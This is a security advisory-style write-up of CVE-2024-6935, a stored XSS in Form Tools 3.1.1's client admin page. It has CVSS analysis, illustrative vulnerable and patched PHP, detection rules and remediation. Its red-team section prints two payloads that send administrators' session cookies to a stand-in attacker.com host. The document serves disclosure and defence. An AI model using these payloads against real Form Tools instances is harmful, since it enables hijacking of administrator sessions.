CVE-2024-6935

Executive Summary

CVE-2024-6935 is a stored cross-site scripting (XSS) vulnerability in Form Tools 3.1.1, specifically within the /admin/clients/ user settings page. An authenticated attacker with client management privileges can inject arbitrary JavaScript into the user settings fields, which is then executed in the browsers of other administrators viewing the client list. The vendor (formtools.org) has not responded to disclosure attempts, leaving the software unpatched. The EPSS score is 0.0%, indicating low active exploitation, but the public availability of a proof-of-concept (POC) increases the risk for unpatched instances.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications exist beyond the direct use of the Form Tools software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – remotely exploitable.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs a valid account with client management access.
• User Interaction: Required (UI:R) – an administrator must view the malicious client page.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exfiltration possible.
• Integrity Impact: Low (I:L) – script can modify page content or perform actions on behalf of the victim.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the lack of a patch and public exploit details make it a credible threat for organizations using Form Tools.

Deep Dive & Mechanics

The vulnerability resides in the /admin/clients/ page of Form Tools 3.1.1. The application fails to properly sanitize user-supplied input when creating or editing client records. Fields such as first_name, last_name, email, or custom fields are stored in the database without HTML encoding. When an administrator views the client list, the stored data is rendered directly into the HTML page without escaping, allowing JavaScript execution.

Root Cause: The application uses echo $client['first_name']; or similar constructs without applying htmlspecialchars() or equivalent output encoding. This is a classic stored XSS pattern.

Attack Flow:

1. Attacker logs in with a low-privilege account that can manage clients.
2. Attacker creates a new client or edits an existing one, injecting a payload like <script>alert('XSS')</script> into a text field.
3. The payload is stored in the database.
4. An administrator navigates to /admin/clients/ to view the client list.
5. The server renders the malicious payload as HTML, executing the script in the administrator's browser.
6. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Form Tools 3.1.1):

// /admin/clients/index.php (simplified)
$clients = $db->query("SELECT * FROM clients");
foreach ($clients as $client) {
    echo "<tr><td>" . $client['first_name'] . "</td></tr>";
}

Patched Code (Hypothetical fix):

// Patched version
$clients = $db->query("SELECT * FROM clients");
foreach ($clients as $client) {
    echo "<tr><td>" . htmlspecialchars($client['first_name'], ENT_QUOTES, 'UTF-8') . "</td></tr>";
}

The fix applies htmlspecialchars() to all user-controlled output, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid account with client management privileges on a Form Tools 3.1.1 instance.
• Network access to the application.

Exploit Steps:

1. Log in to Form Tools.
2. Navigate to Clients -> Add Client.
3. In the First Name field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Fill in other required fields and save the client.
5. Wait for an administrator to view the client list. The script will execute, sending the admin's session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for unusual characters in POST requests to /admin/clients/ (e.g., <script>, onerror=, javascript:).
2. Review database entries for HTML tags in client fields.
3. Use the YARA and Sigma rules below to detect exploitation attempts.

Lab Setup:

• Install Form Tools 3.1.1 on a local server (e.g., XAMPP, Docker).
• Create a low-privilege user and an admin user.
• Execute the exploit from the low-privilege account.
• Observe the XSS trigger in the admin's browser.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains containing cookie= or document.cookie in the query string.
  • POST requests to /admin/clients/ with payloads containing <script> or event handlers.
• Host IOCs:
  • Database entries in the clients table containing HTML tags in text fields.
  • Web server logs showing requests to /admin/clients/ with suspicious parameters.
• File IOCs:
  • Modified client records in the database (check clients table).

Detection Engineering

YARA Rule

rule CVE_2024_6935_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Form Tools client fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6935"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6935 Stored XSS in Form Tools
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts against Form Tools /admin/clients/
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/clients/'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in client names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6935 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/clients/"; http_uri; pcre:"/<script[^>]*>|on\w+\s*=|javascript\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable client management for untrusted users – Restrict access to the /admin/clients/ page to only trusted administrators.
2. Apply input validation – Use a Web Application Firewall (WAF) to block requests containing <script> or event handlers in POST data.
3. Monitor logs – Actively search for the IOCs listed above.

Long-Term Fix:

• Since the vendor is unresponsive, the only permanent fix is to upgrade to a patched version if one becomes available, or migrate to an alternative solution.
• If you must continue using Form Tools 3.1.1, apply a manual patch by modifying the source code to use htmlspecialchars() on all output (see patched code example).

Workaround:

• Implement a Content Security Policy (CSP) header to block inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self'
  

Valters IT
Securing Your Digital Frontier